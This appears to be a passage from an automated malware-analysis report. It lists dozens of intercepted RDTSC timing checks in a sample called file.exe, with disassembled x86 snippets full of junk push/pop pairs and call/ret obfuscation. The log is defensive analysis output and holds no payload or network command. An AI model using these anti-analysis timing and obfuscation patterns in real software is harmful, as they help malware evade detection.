Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B863 second address: 115B876 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FC7C8E0205Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BDD3 second address: 115BE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FC7C8E0006Fh 0x0000000a jmp 00007FC7C8E00073h 0x0000000f jmp 00007FC7C8E0006Bh 0x00000014 popad 0x00000015 jl 00007FC7C8E0009Dh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC7C8E00077h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C126 second address: 115C14A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C14A second address: 115C161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FC7C8E00072h 0x0000000b jmp 00007FC7C8E0006Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C161 second address: 115C16C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FC7C8E02056h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C16C second address: 115C172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C72F second address: 115C737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C9A0 second address: 115C9AA instructions: 0x00000000 rdtsc 0x00000002 je 00007FC7C8E00066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C9AA second address: 115C9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnl 00007FC7C8E02056h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116208A second address: 116208E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11610CC second address: 11610D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11610D0 second address: 11610DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11610DA second address: 11610E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116120B second address: 1161230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E0006Ch 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FC7C8E00071h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161230 second address: 1161248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E02063h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161248 second address: 1161251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161251 second address: 1161266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jnp 00007FC7C8E0206Eh 0x0000000d jg 00007FC7C8E0205Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161266 second address: 116126D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160C6A second address: 1160C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160C70 second address: 1160C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160C79 second address: 1160C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11618F2 second address: 11618FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11653AB second address: 11653C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02061h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11653C5 second address: 11653CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11653CB second address: 11653F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC7C8E0205Dh 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FC7C8E0205Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF701 second address: 10EF707 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF707 second address: 10EF717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jc 00007FC7C8E02070h 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF717 second address: 10EF71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E80E second address: 112E826 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FC7C8E02064h 0x0000000f pushad 0x00000010 jl 00007FC7C8E02056h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E96F second address: 112E973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EA42 second address: 112EA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EA48 second address: 112EA5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC7C8E0006Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECD6 second address: 112ECDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECDA second address: 112ECE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ECE0 second address: 112ED02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ED02 second address: 112ED06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112ED06 second address: 112ED10 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EF16 second address: 112EF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FC7C8E00066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EF20 second address: 112EF5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FC7C8E02058h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push CF6E531Fh 0x00000028 pushad 0x00000029 pushad 0x0000002a js 00007FC7C8E02056h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F170 second address: 112F174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F7B7 second address: 112F83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC7C8E02056h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d jmp 00007FC7C8E0205Eh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FC7C8E02058h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d call 00007FC7C8E02064h 0x00000032 push eax 0x00000033 mov ecx, dword ptr [ebp+122D3AB4h] 0x00000039 pop edx 0x0000003a pop edx 0x0000003b push 0000001Eh 0x0000003d add dword ptr [ebp+122D3625h], eax 0x00000043 nop 0x00000044 jno 00007FC7C8E02072h 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F83D second address: 112F841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FBFA second address: 112FC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D23B0h], eax 0x00000010 lea eax, dword ptr [ebp+124805D3h] 0x00000016 mov dword ptr [ebp+122D3634h], eax 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FC1D second address: 112FC23 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FC23 second address: 112FC3E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC7C8E02058h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007FC7C8E02068h 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FC7C8E02056h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FC3E second address: 112FC7D instructions: 0x00000000 rdtsc 0x00000002 js 00007FC7C8E00066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dx, si 0x0000000e lea eax, dword ptr [ebp+1248058Fh] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FC7C8E00068h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov cl, bl 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jp 00007FC7C8E00066h 0x0000003a push edi 0x0000003b pop edi 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1096 second address: 10F10B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FC7C8E02056h 0x0000000d jmp 00007FC7C8E02061h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F10B4 second address: 10F10C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jng 00007FC7C8E00066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FC7C8E00074h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168C70 second address: 1168C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168C74 second address: 1168C96 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop ebx 0x0000000f pushad 0x00000010 jns 00007FC7C8E00068h 0x00000016 push eax 0x00000017 push edx 0x00000018 jne 00007FC7C8E00066h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168C96 second address: 1168C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168C9A second address: 1168C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11690FB second address: 1169110 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC7C8E02056h 0x00000008 jng 00007FC7C8E02056h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11694F7 second address: 11694FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11694FB second address: 116951D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pushad 0x00000010 jmp 00007FC7C8E0205Dh 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116951D second address: 116952D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0006Bh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF2D second address: 116EF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF33 second address: 116EF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF37 second address: 116EF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF3B second address: 116EF47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF47 second address: 116EF51 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF51 second address: 116EF89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FC7C8E00066h 0x00000009 jmp 00007FC7C8E0006Ch 0x0000000e jmp 00007FC7C8E0006Fh 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FC7C8E00070h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F3ED second address: 116F401 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FC7C8E0205Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F584 second address: 116F595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC7C8E00066h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F595 second address: 116F59F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F59F second address: 116F5B8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FC7C8E00074h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F5B8 second address: 116F5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F9E3 second address: 116F9E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F9E8 second address: 116F9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jne 00007FC7C8E02056h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F9F6 second address: 116FA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FC7C8E00066h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FCE1 second address: 116FCEF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FCEF second address: 116FCF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FE75 second address: 116FE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC7C8E02056h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC7C8E02068h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170002 second address: 1170006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170006 second address: 117003A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0205Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC7C8E02060h 0x0000000e push eax 0x0000000f jns 00007FC7C8E02056h 0x00000015 pop eax 0x00000016 popad 0x00000017 pushad 0x00000018 jnp 00007FC7C8E0205Eh 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117003A second address: 117004A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117004A second address: 117005B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007FC7C8E02056h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EC0B second address: 116EC11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176F07 second address: 1176F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FC7C8E02056h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177351 second address: 1177372 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC7C8E00066h 0x00000008 jmp 00007FC7C8E00077h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11795FB second address: 11795FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11803B2 second address: 11803BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117EB77 second address: 117EB95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC7C8E02056h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC7C8E02061h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117EB95 second address: 117EB99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117EB99 second address: 117EB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ECFB second address: 117ED1B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC7C8E00071h 0x0000000b push esi 0x0000000c jc 00007FC7C8E00066h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F13C second address: 117F140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F5F7 second address: 112F5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F5FB second address: 112F60E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnp 00007FC7C8E02058h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F494 second address: 117F4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC7C8E00066h 0x0000000a jp 00007FC7C8E00066h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4A9 second address: 117F4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4AD second address: 117F4C8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC7C8E00066h 0x00000008 jmp 00007FC7C8E00071h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
